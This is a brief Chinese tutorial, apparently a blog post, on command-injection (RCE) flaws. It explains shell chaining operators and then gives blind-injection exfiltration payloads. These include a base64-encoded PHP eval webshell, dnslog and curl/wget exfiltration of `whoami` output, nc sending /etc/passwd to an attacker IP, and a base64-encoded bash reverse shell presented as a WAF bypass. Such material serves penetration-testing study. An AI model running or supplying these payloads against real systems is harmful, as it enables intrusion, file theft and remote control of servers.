15 常见漏洞 rce
命令执行漏洞是脚本语言在执行系统命令中造成的
应用程序将用户的输入作为系统命令参数拼接到命令行中,在没有过滤的情况下
就会造成命令执行漏洞
这里介绍几种命令执行的过程中的符号
;(分号)
按照从左到右的顺序进行执行,当一条命令执行失败时,不印象另一条命令的执行
| 管道符
将一个命令的标准输出管理为另外一个命令的标准输入
&后台任务符号
按照顺序从左到右被执行,此符号的作用是让两个命令同时执行
&& 逻辑与
前一个执行成功后后面一个才执行
|| 逻辑或
前一个执行失败后 后一个才开始执行
`` 反引号
但一个命令被解析时,它首先会执行反引号之间的操作
然后再执行整个命令
$(command) 命令执行
当反引号被过滤或者被编码时可以使用这个命令替换
无回显时的外通信技巧
利用管道符写入SHELL
若是存在权限写入shell
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
dnslog
dnslog时一个解析平台,在无回显的情况下,通过访问dnslog,dnslog会把你的头文件记录下来
我们可以利用反引号``得到执行的系统命令
ping -c 4 127.0.0.1| ping `whoami`.3el05z.dnslog.cn
burpsuite burpcollaborator 测试误会先
测试的原理和dnslog一样

得到一个类似于dns的地址
也可以通过访问返回执行的命令信息
利用日志测试无回显
整一个小服务器
监听端口
让含有漏洞的网页执行curl或者wget命令访问
ping -c 4 ||curl http://192.168.0.133/?`whoami`
ping -c 4 ||wget http://192.168.0.133/?`whoami`
netcat
nc -lp 9999 >passwd
本地执行命令
nc 192.168.0.133 9999 </etc/passwd
会在查看远程服务器生成 passwd 文件
nc返回shell
也可以利用管道符和base编码绕过waf
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTMzLzgwODAgMD4mMQ=="|base64 -d|bash

浙公网安备 33010602011771号